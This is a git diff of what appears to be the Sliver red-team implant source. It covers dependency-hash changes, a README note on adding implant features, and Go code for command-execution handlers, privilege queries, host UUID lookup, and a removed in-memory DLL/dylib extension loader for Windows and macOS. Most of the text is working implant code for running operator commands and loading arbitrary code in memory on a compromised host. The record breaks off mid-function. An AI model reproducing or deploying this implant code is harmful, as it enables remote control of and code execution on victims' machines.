 github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
 github.com/jsimonetti/rtnetlink v0.0.0-20190606172950-9527aa82566a/go.mod h1:Oz+70psSo5OFh8DBl0Zv2ACw7Esh6pPUphlvZG9x7uw=
 github.com/jsimonetti/rtnetlink v0.0.0-20200117123717-f846d4f6c1f4/go.mod h1:WGuG/smIU4J/54PblvSbh+xvCZmpJnFgr3ds6Z55XMQ=
@@ -333,9 +318,8 @@ github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOA
 github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
 github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA=
 github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
+github.com/mattn/go-runewidth v0.0.7 h1:Ei8KR0497xHyKJPAv59M1dkC+rOZCMBJ+t3fZ+twI54=
 github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
-github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
-github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
 github.com/mattn/go-sqlite3 v1.14.3/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
 github.com/mattn/go-sqlite3 v1.14.5 h1:1IdxlwTNazvbKJQSxoJ5/9ECbEeaTTyeU7sEAZ5KKTQ=
 github.com/mattn/go-sqlite3 v1.14.5/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
@@ -372,12 +356,9 @@ github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE
 github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
 github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
 github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
-github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6JUPA=
 github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
 github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
 github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
-github.com/pquerna/otp v1.3.0 h1:oJV/SkzR33anKXwQU3Of42rL4wbrffP4uvUf1SvS5Xs=
-github.com/pquerna/otp v1.3.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
 github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
 github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso=
 github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
@@ -529,7 +510,6 @@ golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJ
 golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9 h1:SQFwaSi55rU7vdNs9Yr0Z324VNlrF+0wMqRXT4St8ck=
 golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
 golang.org/x/sys v0.0.0-20180606202747-9527bec2660b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20180816055513-1c9583448a9c/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
 golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
 golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
 golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
@@ -568,7 +548,6 @@ golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7w
 golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210309040221-94ec62e08169/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210316164454-77fc1eacc6aa/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -703,8 +682,6 @@ gorm.io/gorm v1.20.1/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
 gorm.io/gorm v1.20.4/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
 gorm.io/gorm v1.20.6 h1:qa7tC1WcU+DBI/ZKMxvXy1FcrlGsvxlaKufHrT2qQ08=
 gorm.io/gorm v1.20.6/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
-gorm.io/gorm v1.21.14 h1:NAR9A/3SoyiPVHouW/rlpMUZvuQZ6Z6UYGz+2tosSQo=
-gorm.io/gorm v1.21.14/go.mod h1:F+OptMscr0P2F2qU97WT1WimdH9GaQPoDW7AYd5i2Y0=
 honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
 honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
 honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=

implant/README.md

@@ -8,6 +8,12 @@ values such as X.509 certificates, etc. and compiles it to produce a binary.
 The implant code contains a lot of platform specific code too, which varies the features
 that will be supported on different platforms.
 
-Platform agnostic code is implemented in `_generic.go` files, and can be compiled for any
+Platform agnostic code is implemented in `_default.go` files, and can be compiled for any
 valid Go compiler target but only contains very generic commands/features.
 
+
+### Adding Implant Features
+
+Simply adding new files to this directory will not work (but you can edit existing files).
+In order to add new features you'll need to add the code to this directory AND update the
+`server/generate/srcfiles.go` which contains a list of files the server should render.

implant/go-mod

@@ -14,5 +14,4 @@ require (
         inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
         golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
 	golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 // indirect
-        github.com/pquerna/otp v1.3.0
-)
+)

implant/sliver/encoders/encoders.go

@@ -69,21 +69,6 @@ func RandomEncoder() (int, Encoder) {
 	return nonce, EncoderMap[encoderID]
 }
 
-// RandomTxtEncoder - Get a random nonce identifier and a matching encoder
-func RandomTxtEncoder() (int, Encoder) {
-	textEncoders := map[int]Encoder{
-		EnglishEncoderID: English{},
-		Base64EncoderID:  Base64{},
-	}
-	keys := make([]int, 0, len(textEncoders))
-	for k := range textEncoders {
-		keys = append(keys, k)
-	}
-	encoderID := keys[insecureRand.Intn(len(keys))]
-	nonce := (insecureRand.Intn(maxN) * EncoderModulus) + encoderID
-	return nonce, textEncoders[encoderID]
-}
-
 // NopNonce - A NOP nonce identifies a request with no encoder/payload
 //            any value where mod = 0
 func NopNonce() int {

implant/sliver/extension/extension.go

@@ -1,35 +0,0 @@
-package extension
-
-import "errors"
-
-var extensions map[string]Extension
-
-type Extension interface {
-	Load() error
-	Call(exportName string, arguments []byte, callback func([]byte)) error
-	GetID() string
-	GetArch() string
-}
-
-func Add(e Extension) {
-	extensions[e.GetID()] = e
-}
-
-func List() []string {
-	var extList []string
-	for id := range extensions {
-		extList = append(extList, id)
-	}
-	return extList
-}
-
-func Run(extID string, funcName string, arguments []byte, callback func([]byte)) error {
-	if ext, found := extensions[extID]; found {
-		return ext.Call(funcName, arguments, callback)
-	}
-	return errors.New("{{if .Config.Debug}} extension not found{{end}}")
-}
-
-func init() {
-	extensions = make(map[string]Extension)
-}

implant/sliver/extension/extension_darwin.go

@@ -1,105 +0,0 @@
-package extension
-
-import (
-	"bytes"
-	"runtime"
-	"unsafe"
-
-	// {{if .Config.Debug}}
-	"log"
-	// {{end}}
-	"github.com/Binject/universal"
-)
-
-type DarwinExtension struct {
-	id          string
-	data        []byte
-	module      *universal.Library
-	arch        string
-	serverStore bool
-	init        string
-}
-
-type extensionArguments struct {
-	inDataSize  uintptr
-	inDataBuff  uintptr
-	outDataSize uintptr
-	outDataBuff uintptr
-}
-
-func NewDarwinExtension(data []byte, id string, arch string, init string) *DarwinExtension {
-	return &DarwinExtension{
-		id:   id,
-		data: data,
-		arch: arch,
-		init: init,
-	}
-}
-
-func (d *DarwinExtension) GetID() string {
-	return d.id
-}
-
-func (d *DarwinExtension) GetArch() string {
-	return d.arch
-}
-
-func (d *DarwinExtension) Load() error {
-	var err error
-	loader, err := universal.NewLoader()
-	if err != nil {
-		return err
-	}
-	d.module, err = loader.LoadLibrary(d.id, &d.data)
-	if err != nil {
-		return err
-	}
-	if d.init != "" {
-		if _, errInit := d.module.Call(d.init); errInit != nil {
-			return errInit
-		}
-	}
-	return nil
-}
-
-func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
-	// We currently have 2 issues with Darwin extensions:
-	// - cppgo (used by universal) fucks up when calling a function with more than 1 argument
-	// - we don't have Go callback support for the loaded extension,
-	// so we have to wait for the call to finish to get the results
-	// To circumvent these issues, we pass the extensionArguments structure
-	// as the only argument to the call, so we can pass args in and extract
-	// the result at the same time.
-	runtime.LockOSThread()
-	defer runtime.UnlockOSThread()
-	extArgs := extensionArguments{}
-	if len(arguments) > 0 {
-		extArgs.inDataBuff = uintptr(unsafe.Pointer(&arguments[0]))
-		extArgs.inDataSize = uintptr(uint64(len(arguments)))
-	}
-	// {{if .Config.Debug}}
-	log.Printf("Calling %s, arg size: %d\n", export, extArgs.inDataSize)
-	// {{end}}
-	_, err := d.module.Call(export, uintptr(unsafe.Pointer(&extArgs)))
-	if err != nil {
-		return err
-	}
-	// {{if .Config.Debug}}
-	log.Printf("%s done!\n", export)
-	// {{end}}
-	outData := new(bytes.Buffer)
-	outDataSize := int(extArgs.outDataSize)
-	// {{if .Config.Debug}}
-	log.Printf("Out data size: %d\n", outDataSize)
-	// {{end}}
-	for i := 0; i < outDataSize; i++ {
-		b := (*byte)(unsafe.Pointer(uintptr(i) + extArgs.outDataBuff))
-		outData.WriteByte(*b)
-	}
-	// We currently don't have a way to trigger a callback
-	// in the loaded code for Darwin.
-	if outData.Len() > 0 {
-		onFinish(outData.Bytes())
-	}
-	return nil
-}

implant/sliver/extension/extension_windows.go

@@ -1,114 +0,0 @@
-package extension
-
-import (
-	"bytes"
-	"errors"
-	"syscall"
-	"unsafe"
-
-	// {{if .Config.Debug}}
-	"log"
-	// {{end}}
-
-	"golang.zx2c4.com/wireguard/tun/wintun/memmod"
-)
-
-const (
-	Success = 0
-	Failure = 1
-)
-
-type WindowsExtension struct {
-	id          string
-	data        []byte
-	module      *memmod.Module
-	arch        string
-	init        string
-	onFinish    func([]byte)
-	serverStore bool
-}
-
-func NewWindowsExtension(data []byte, id string, arch string, init string) *WindowsExtension {
-	return &WindowsExtension{
-		id:   id,
-		data: data,
-		arch: arch,
-		init: init,
-	}
-}
-
-func (w *WindowsExtension) GetID() string {
-	return w.id
-}
-
-func (w *WindowsExtension) GetArch() string {
-	return w.arch
-}
-
-func (w *WindowsExtension) Load() error {
-	var err error
-	w.module, err = memmod.LoadLibrary(w.data)
-	if err != nil {
-		return err
-	}
-	if w.init != "" {
-		initProc, errInit := w.module.ProcAddressByName(w.init)
-		if errInit == nil {
-			// {{if .Config.Debug}}
-			log.Printf("Calling %s\n", w.init)
-			// {{end}}
-			syscall.Syscall(initProc, 0, 0, 0, 0)
-		} else {
-			return errInit
-		}
-	}
-	return nil
-}
-
-func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
-	var (
-		argumentsPtr  uintptr
-		argumentsSize uintptr
-	)
-	if w.module == nil {
-		return errors.New("{{if .Config.Debug}} module not loaded {{end}}")
-	}
-	w.onFinish = onFinish
-	callback := syscall.NewCallback(w.extensionCallback)
-	exportPtr, err := w.module.ProcAddressByName(export)
-	if err != nil {
-		return err
-	}
-	if len(arguments) > 0 {
-		argumentsPtr = uintptr(unsafe.Pointer(&arguments[0]))
-		argumentsSize = uintptr(uint32(len(arguments)))
-	}
-	// {{if .Config.Debug}}
-	log.Printf("Calling %s, arguments addr: 0x%08x, args size: %08x\n", export, argumentsPtr, argumentsSize)
-	// {{end}}
-	// The extension API must respect the following prototype:
-	// int Run(buffer char*, bufferSize uint32_t, goCallback callback)
-	// where goCallback = int(char *, int)
-	_, _, errNo := syscall.Syscall(exportPtr, 3, argumentsPtr, argumentsSize, callback)
-	if errNo != 0 {
-		return errors.New(errNo.Error())
-	}
-
-	return nil
-}
-
-// extensionCallback takes a buffer (char *) and its size (int) as parameters
-// so we can pass data back to the Go process from the loaded DLL
-func (w *WindowsExtension) extensionCallback(data uintptr, dataLen uintptr) uintptr {
-	outDataSize := int(dataLen)
-	outBuff := new(bytes.Buffer)
-	for i := 0; i < outDataSize; i++ {
-		b := (*byte)(unsafe.Pointer(uintptr(i) + data))
-		outBuff.WriteByte(*b)
-	}
-	//TODO: do something with outBuff
-	if outBuff.Len() > 0 {
-		w.onFinish(outBuff.Bytes())
-	}
-	return Success
-}

implant/sliver/handlers/handlers.go

@@ -20,7 +20,6 @@ package handlers
 
 import (
 	"archive/tar"
-	"bufio"
 	"bytes"
 	"compress/gzip"
 	"errors"
@@ -29,7 +28,6 @@ import (
 	"io/ioutil"
 	"os/exec"
 	"strings"
-	"time"
 
 	// {{if .Config.Debug}}
 	"log"
@@ -99,8 +97,7 @@ func dirListHandler(data []byte, resp RPCResponse) {
 	dir, files, err := getDirList(dirListReq.Path)
 
 	// Convert directory listing to protobuf
-	timezone, offset := time.Now().Zone()
-	dirList := &sliverpb.Ls{Path: dir, Timezone: timezone, TimezoneOffset: int32(offset)}
+	dirList := &sliverpb.Ls{Path: dir}
 	if err == nil {
 		dirList.Exists = true
 	} else {
@@ -112,13 +109,6 @@ func dirListHandler(data []byte, resp RPCResponse) {
 			Name:  fileInfo.Name(),
 			IsDir: fileInfo.IsDir(),
 			Size:  fileInfo.Size(),
-			/* Send the time back to the client / server as the number of seconds
-			since epoch.  This will decouple formatting the time to display from the
-			time itself.  We can change the format of the time displayed in the client
-			and not have to worry about having to update implants.
-			*/
-			ModTime: fileInfo.ModTime().Unix(),
-			Mode:    fileInfo.Mode().String(),
 		})
 	}
 
@@ -128,13 +118,7 @@ func dirListHandler(data []byte, resp RPCResponse) {
 }
 
 func getDirList(target string) (string, []os.FileInfo, error) {
-	dir, err := filepath.Abs(target)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("dir list failed to construct path %s", err)
-		// {{end}}
-		return "", nil, err
-	}
+	dir, _ := filepath.Abs(target)
 	if _, err := os.Stat(dir); !os.IsNotExist(err) {
 		files, err := ioutil.ReadDir(dir)
 		return dir, files, err
@@ -147,7 +131,7 @@ func rmHandler(data []byte, resp RPCResponse) {
 	err := proto.Unmarshal(data, rmReq)
 	if err != nil {
 		// {{if .Config.Debug}}
-		log.Printf("error decoding message: %s", err)
+		log.Printf("error decoding message: %v", err)
 		// {{end}}
 		return
 	}
@@ -369,11 +353,7 @@ func uploadHandler(data []byte, resp RPCResponse) {
 
 func executeHandler(data []byte, resp RPCResponse) {
 	var (
-		err       error
-		stdErr    io.Writer
-		stdOut    io.Writer
-		errWriter *bufio.Writer
-		outWriter *bufio.Writer
+		err error
 	)
 	execReq := &sliverpb.ExecuteReq{}
 	err = proto.Unmarshal(data, execReq)
@@ -388,43 +368,9 @@ func executeHandler(data []byte, resp RPCResponse) {
 	cmd := exec.Command(execReq.Path, execReq.Args...)
 
 	if execReq.Output {
-		stdOutBuff := new(bytes.Buffer)
-		stdErrBuff := new(bytes.Buffer)
-		stdErr = stdErrBuff
-		stdOut = stdOutBuff
-		if execReq.Stderr != "" {
-			stdErrFile, err := os.Create(execReq.Stderr)
-			if err != nil {
-				execResp.Response = &commonpb.Response{
-					Err: fmt.Sprintf("%s", err),
-				}
-				proto.Marshal(execResp)
-				resp(data, err)
-				return
-			}
-			defer stdErrFile.Close()
-			errWriter = bufio.NewWriter(stdErrFile)
-			stdErr = io.MultiWriter(errWriter, stdErrBuff)
-		}
-		if execReq.Stdout != "" {
-			stdOutFile, err := os.Create(execReq.Stdout)
-			if err != nil {
-				execResp.Response = &commonpb.Response{
-					Err: fmt.Sprintf("%s", err),
-				}
-				proto.Marshal(execResp)
-				resp(data, err)
-				return
-			}
-			defer stdOutFile.Close()
-			outWriter = bufio.NewWriter(stdOutFile)
-			stdOut = io.MultiWriter(outWriter, stdOutBuff)
-		}
-		cmd.Stdout = stdOut
-		cmd.Stderr = stdErr
-		err := cmd.Run()
+		res, err := cmd.CombinedOutput()
 		//{{if .Config.Debug}}
-		log.Println(string(stdOutBuff.String()))
+		log.Println(string(res))
 		//{{end}}
 		if err != nil {
 			// Exit errors are not a failure of the RPC, but of the command.
@@ -436,17 +382,7 @@ func executeHandler(data []byte, resp RPCResponse) {
 				}
 			}
 		}
-		if errWriter != nil {
-			errWriter.Flush()
-		}
-		if outWriter != nil {
-			outWriter.Flush()
-		}
-		execResp.Stderr = stdErrBuff.String()
-		execResp.Stdout = stdOutBuff.String()
-		if cmd.Process != nil {
-			execResp.Pid = uint32(cmd.Process.Pid)
-		}
+		execResp.Result = string(res)
 	} else {
 		err = cmd.Start()
 		if err != nil {

implant/sliver/handlers/handlers_darwin.go

@@ -19,11 +19,8 @@ package handlers
 */
 
 import (
-	"github.com/bishopfox/sliver/implant/sliver/extension"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
-	"google.golang.org/protobuf/proto"
 )
 
 var (
@@ -53,11 +50,6 @@ var (
 		sliverpb.MsgPollIntervalReq:      pollIntervalHandler,
 		sliverpb.MsgSSHCommandReq:        runSSHCommandHandler,
 
-		// Extensions
-		sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
-		sliverpb.MsgCallExtensionReq:     callExtensionHandler,
-		sliverpb.MsgListExtensionsReq:    listExtensionsHandler,
-
 		// {{if .Config.WGc2Enabled}}
 		// Wireguard specific
 		sliverpb.MsgWGStartPortFwdReq:   wgStartPortfwdHandler,
@@ -81,70 +73,3 @@ func GetSystemHandlers() map[uint32]RPCHandler {
 func GetSystemPivotHandlers() map[uint32]PivotHandler {
 	return darwinPivotHandlers
 }
-
-// Extensions
-
-func registerExtensionHandler(data []byte, resp RPCResponse) {
-	registerReq := &sliverpb.RegisterExtensionReq{}
-
-	err := proto.Unmarshal(data, registerReq)
-	if err != nil {
-		return
-	}
-
-	ext := extension.NewDarwinExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
-	extension.Add(ext)
-	err = ext.Load()
-	registerResp := &sliverpb.RegisterExtension{
-		Response: &commonpb.Response{},
-	}
-	if err != nil {
-		registerResp.Response.Err = err.Error()
-	}
-	data, err = proto.Marshal(registerResp)
-	resp(data, err)
-}
-
-func callExtensionHandler(data []byte, resp RPCResponse) {
-	callReq := &sliverpb.CallExtensionReq{}
-
-	err := proto.Unmarshal(data, callReq)
-	if err != nil {
-		return
-	}
-
-	callResp := &sliverpb.CallExtension{
-		Response: &commonpb.Response{},
-	}
-	gotOutput := false
-	err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
-		gotOutput = true
-		callResp.Output = out
-		data, err = proto.Marshal(callResp)
-		resp(data, err)
-	})
-	// Only send back synchronously if there was an error
-	if err != nil || !gotOutput {
-		if err != nil {
-			callResp.Response.Err = err.Error()
-		}
-		data, err = proto.Marshal(callResp)
-		resp(data, err)
-	}
-}
-
-func listExtensionsHandler(data []byte, resp RPCResponse) {
-	lstReq := &sliverpb.ListExtensionsReq{}
-	err := proto.Unmarshal(data, lstReq)
-	if err != nil {
-		return
-	}
-
-	exts := extension.List()
-	lstResp := &sliverpb.ListExtensions{
-		Response: &commonpb.Response{},
-		Names:    exts,
-	}
-	data, err = proto.Marshal(lstResp)
-	resp(data, err)
-}

implant/sliver/handlers/handlers_default.go

@@ -1,4 +1,4 @@
-//go:build !(linux || darwin || windows)
+// +build !windows !linux !darwin
 
 package handlers
 

implant/sliver/handlers/handlers_windows.go

@@ -19,11 +19,7 @@ package handlers
 */
 
 import (
-	"bufio"
-	"bytes"
 	"fmt"
-	"io"
-	"os"
 
 	// {{if .Config.Debug}}
 	"log"
@@ -32,7 +28,6 @@ import (
 	"os/exec"
 	"syscall"
 
-	"github.com/bishopfox/sliver/implant/sliver/extension"
 	"github.com/bishopfox/sliver/implant/sliver/pivots"
 	"github.com/bishopfox/sliver/implant/sliver/priv"
 	"github.com/bishopfox/sliver/implant/sliver/registry"
@@ -96,11 +91,6 @@ var (
 		sliverpb.MsgPollIntervalReq:      pollIntervalHandler,
 		sliverpb.MsgSSHCommandReq:        runSSHCommandHandler,
 
-		// Extensions
-		sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
-		sliverpb.MsgCallExtensionReq:     callExtensionHandler,
-		sliverpb.MsgListExtensionsReq:    listExtensionsHandler,
-
 		// {{if .Config.WGc2Enabled}}
 		// Wireguard specific
 		sliverpb.MsgWGStartPortFwdReq:   wgStartPortfwdHandler,
@@ -228,11 +218,7 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
 
 func executeTokenHandler(data []byte, resp RPCResponse) {
 	var (
-		err       error
-		stdErr    io.Writer
-		stdOut    io.Writer
-		errWriter *bufio.Writer
-		outWriter *bufio.Writer
+		err error
 	)
 	execReq := &sliverpb.ExecuteReq{}
 	err = proto.Unmarshal(data, execReq)
@@ -252,43 +238,9 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
 	}
 
 	if execReq.Output {
-		stdOutBuff := new(bytes.Buffer)
-		stdErrBuff := new(bytes.Buffer)
-		stdErr = stdErrBuff
-		stdOut = stdOutBuff
-		if execReq.Stderr != "" {
-			stdErrFile, err := os.Create(execReq.Stderr)
-			if err != nil {
-				execResp.Response = &commonpb.Response{
-					Err: fmt.Sprintf("%s", err),
-				}
-				proto.Marshal(execResp)
-				resp(data, err)
-				return
-			}
-			defer stdErrFile.Close()
-			errWriter = bufio.NewWriter(stdErrFile)
-			stdErr = io.MultiWriter(errWriter, stdErrBuff)
-		}
-		if execReq.Stdout != "" {
-			stdOutFile, err := os.Create(execReq.Stdout)
-			if err != nil {
-				execResp.Response = &commonpb.Response{
-					Err: fmt.Sprintf("%s", err),
-				}
-				proto.Marshal(execResp)
-				resp(data, err)
-				return
-			}
-			defer stdOutFile.Close()
-			outWriter = bufio.NewWriter(stdOutFile)
-			stdOut = io.MultiWriter(outWriter, stdOutBuff)
-		}
-		cmd.Stdout = stdOut
-		cmd.Stderr = stdErr
-		err := cmd.Run()
+		res, err := cmd.CombinedOutput()
 		//{{if .Config.Debug}}
-		log.Println(string(stdOutBuff.String()))
+		log.Println(string(res))
 		//{{end}}
 		if err != nil {
 			// Exit errors are not a failure of the RPC, but of the command.
@@ -300,14 +252,7 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
 				}
 			}
 		}
-		if errWriter != nil {
-			errWriter.Flush()
-		}
-		if outWriter != nil {
-			outWriter.Flush()
-		}
-		execResp.Stderr = stdErrBuff.String()
-		execResp.Stdout = stdOutBuff.String()
+		execResp.Result = string(res)
 	} else {
 		err = cmd.Start()
 		if err != nil {
@@ -598,7 +543,7 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
 		return
 	}
 
-	privsInfo, integrity, processName, err := priv.GetPrivs()
+	privsInfo, err := priv.GetPrivs()
 
 	response_data := make([]*sliverpb.WindowsPrivilegeEntry, len(privsInfo))
 
@@ -622,10 +567,8 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
 
 	// Package up the response
 	getPrivsResp := &sliverpb.GetPrivs{
-		PrivInfo:         response_data,
-		ProcessIntegrity: integrity,
-		ProcessName:      processName,
-		Response:         &commonpb.Response{},
+		PrivInfo: response_data,
+		Response: &commonpb.Response{},
 	}
 
 	if err != nil {
@@ -635,70 +578,3 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
 	data, err = proto.Marshal(getPrivsResp)
 	resp(data, err)
 }
-
-// Extensions
-
-func registerExtensionHandler(data []byte, resp RPCResponse) {
-	registerReq := &sliverpb.RegisterExtensionReq{}
-
-	err := proto.Unmarshal(data, registerReq)
-	if err != nil {
-		return
-	}
-
-	ext := extension.NewWindowsExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
-	extension.Add(ext)
-	err = ext.Load()
-	registerResp := &sliverpb.RegisterExtension{
-		Response: &commonpb.Response{},
-	}
-	if err != nil {
-		registerResp.Response.Err = err.Error()
-	}
-	data, err = proto.Marshal(registerResp)
-	resp(data, err)
-}
-
-func callExtensionHandler(data []byte, resp RPCResponse) {
-	callReq := &sliverpb.CallExtensionReq{}
-
-	err := proto.Unmarshal(data, callReq)
-	if err != nil {
-		return
-	}
-
-	callResp := &sliverpb.CallExtension{
-		Response: &commonpb.Response{},
-	}
-	gotOutput := false
-	err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
-		gotOutput = true
-		callResp.Output = out
-		data, err = proto.Marshal(callResp)
-		resp(data, err)
-	})
-	// Only send back synchronously if there was an error
-	if err != nil || !gotOutput {
-		if err != nil {
-			callResp.Response.Err = err.Error()
-		}
-		data, err = proto.Marshal(callResp)
-		resp(data, err)
-	}
-}
-
-func listExtensionsHandler(data []byte, resp RPCResponse) {
-	lstReq := &sliverpb.ListExtensionsReq{}
-	err := proto.Unmarshal(data, lstReq)
-	if err != nil {
-		return
-	}
-
-	exts := extension.List()
-	lstResp := &sliverpb.ListExtensions{
-		Response: &commonpb.Response{},
-		Names:    exts,
-	}
-	data, err = proto.Marshal(lstResp)
-	resp(data, err)
-}

implant/sliver/handlers/rpc-handlers.go

@@ -1,4 +1,4 @@
-//go:build linux || darwin || windows
+// +build windows linux darwin
 
 package handlers
 

implant/sliver/handlers/special-handlers.go

@@ -1,4 +1,4 @@
-//go:build linux || darwin || windows
+// +build windows linux darwin
 
 package handlers
 

implant/sliver/hostuuid/uuid_default.go

@@ -1,4 +1,4 @@
-//go:build !(linux || darwin || windows)
+// +build !darwin !windows !linux
 
 package hostuuid
 

implant/sliver/hostuuid/uuid_windows.go

@@ -21,35 +21,23 @@ package hostuuid
 */
 
 import (
-	// {{if .Config.Debug}}
-	"log"
-	// {{end}}
-
 	"golang.org/x/sys/windows/registry"
 )
 
 // Stored Format: {U-U-I-D}
-var uuidKeyPath = "SYSTEM\\HardwareConfig"
-var uuidKey = "LastConfig"
+var uuid_keypath = "HKEY_LOCAL_MACHINE\\SYSTEM\\HardwareConfig"
+var uuid_key = "LastConfig"
 
 func GetUUID() string {
-	var uuidStr string
-	var err error
-
-	key, err := registry.OpenKey(registry.LOCAL_MACHINE, uuidKeyPath, registry.QUERY_VALUE)
-	if err == nil {
-		uuidStr, _, err = key.GetStringValue(uuidKey)
-		if err != nil {
-			// {{if .Config.Debug}}
-			log.Printf("Failed to read reg key string value: %s", err)
-			// {{end}}
-			return ""
-		}
-		return uuidStr[1:37]
-	} else {
-		// {{if .Config.Debug}}
-		log.Printf("Failed to read reg key: %s", err)
-		// {{end}}
+	key, err := registry.OpenKey(registry.CURRENT_USER, uuid_keypath, registry.QUERY_VALUE)
+	if err != nil {
+		return ""
 	}
-	return ""
+
+	str, _, err := key.GetStringValue(uuid_key)
+	if err != nil {
